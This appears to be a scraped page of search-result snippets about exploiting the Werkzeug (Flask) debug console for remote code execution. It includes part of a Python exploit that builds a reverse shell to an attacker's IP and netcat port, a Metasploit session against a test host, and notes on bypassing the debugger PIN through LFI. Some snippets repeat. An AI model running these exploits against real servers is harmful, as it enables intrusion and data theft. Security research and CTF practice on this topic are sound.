June 28, 2015 - This module will exploit the Werkzeug debug console to put down a Python shell. Werkzeug is included with Flask, but not enabled by default. It is also included in other projects, for example the RunServerPlus extension for Django.

python exploit for werkzeug debug shell command execution - Fare9/PyWerkzeug-Debug-Command-Execution

January 28, 2018 - #!/usr/bin/env python import requests import sys import re import urllib # usage : python exploit.py 192.168.56.101 5000 192.168.56.102 4422 if len(sys.argv) != 5: print "USAGE: python %s <ip> <port> <your ip> <netcat port>" % (sys.argv[0]) sys.exit(-1) response = requests.get('http://%s:%s/console' % (sys.argv[1],sys.argv[2])) if "Werkzeug " not in response.text: print "[-] Debug is not enabled" sys.exit(-1) # since the application or debugger about python using python for reverse connect cmd = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%

Python script for exploiting Werkzeug Debug RCE useful for CTFs where you just need to read a particular file or execute some command.

Werkzeug has a debug console that requires a pin by default. It's possible to bypass this with an LFI vulnerability or use it as a local privilege escalation vector.

May 5, 2024 - The debugger in affected versions of Werkzeug can allow an attacker to execute code on a developer's machine under some circumstances. This requires the attacker to get the developer to interact wi...

December 4, 2022 - A sample application which enables the console debugger is available here ... Do: check [+] 10.108.106.201:8081 - The target is vulnerable. ... You should get a shell. ... TARGETURI by default is /console, as defined by werkzeug, however it can be changed within the python script. Example utilizing the previously mentioned sample app listed above. msf > use exploit/multi/http/werkzeug_debug_rce msf exploit(werkzeug_debug_rce) > set rport 8081 rport => 8081 msf exploit(werkzeug_debug_rce) > set rhost 10.108.106.201 rhost => 10.108.106.201 msf exploit(werkzeug_debug_rce) > check [+] 10.108.106.201:8081 - The target is vulnerable.

This means that this exploit will work even if the debugger PIN-authentication is locked. HackTheBox had a challenge called "Agile" that required this vulnerability to be exploited in order to gain an initial foothold. As a result there are many walkthroughs available online that explain how a valid PIN can be generated using the algorithm in the Werkzeug source code along with information about the environment.

2 days ago - GitHub - Ruulian/wconsole_extractor: WConsole Extractor is a python library which automatically exploits a Werkzeug development server in debug mode.

Collection of different exploits. Contribute to am0nsec/exploit development by creating an account on GitHub.

This module will exploit the Werkzeug debug console to put down a Python shell. Werkzeug is included with Flask, but not enabled by default. It is also included in other projects, for example the RunServerPlus extension for Django.

December 7, 2024 - However, during development and debugging, it can expose sensitive functionalities that attackers might exploit, especially if the application is running in a non-production environment.

As explained by Carlos Polop in Hacktricks.xyz, this exploit is to access /console from Werkzeug when it requires a pin. This Console is a debug console that is Python based, which means, once you access this debug console, you could launch ...

August 17, 2015 - Information Security Services, News, Files, Tools, Exploits, Advisories, and Whitepapers

This is a security helper to make it less likely for the debugger to be exploited if you forget to disable it when deploying to production. The PIN based authentication is enabled by default. The first time a console is opened, a dialog will prompt for a PIN that is printed to the command line.

February 18, 2020 - A publicly exposed debugger will subject the machine to remote code execution. Once attackers can execute arbitrary Python code on the server, she can directly leak all the sensitive data stored on the server.

Collection of different exploits. Contribute to am0nsec/exploit development by creating an account on GitHub.

November 10, 2024 - GitHub - Ruulian/wconsole_extractor: WConsole Extractor is a python library which automatically exploits a Werkzeug development server in debug mode.

April 10, 2023 - Step by step example of cracking a Flask/Werkzeug PIN after finding an LFI exploit inside a web application

August 18, 2015 - ## # This module requires Metasploit: ... Debug Shell Command Execution', 'Description' => %q{ This module will exploit the Werkzeug debug console to put down a Python shell....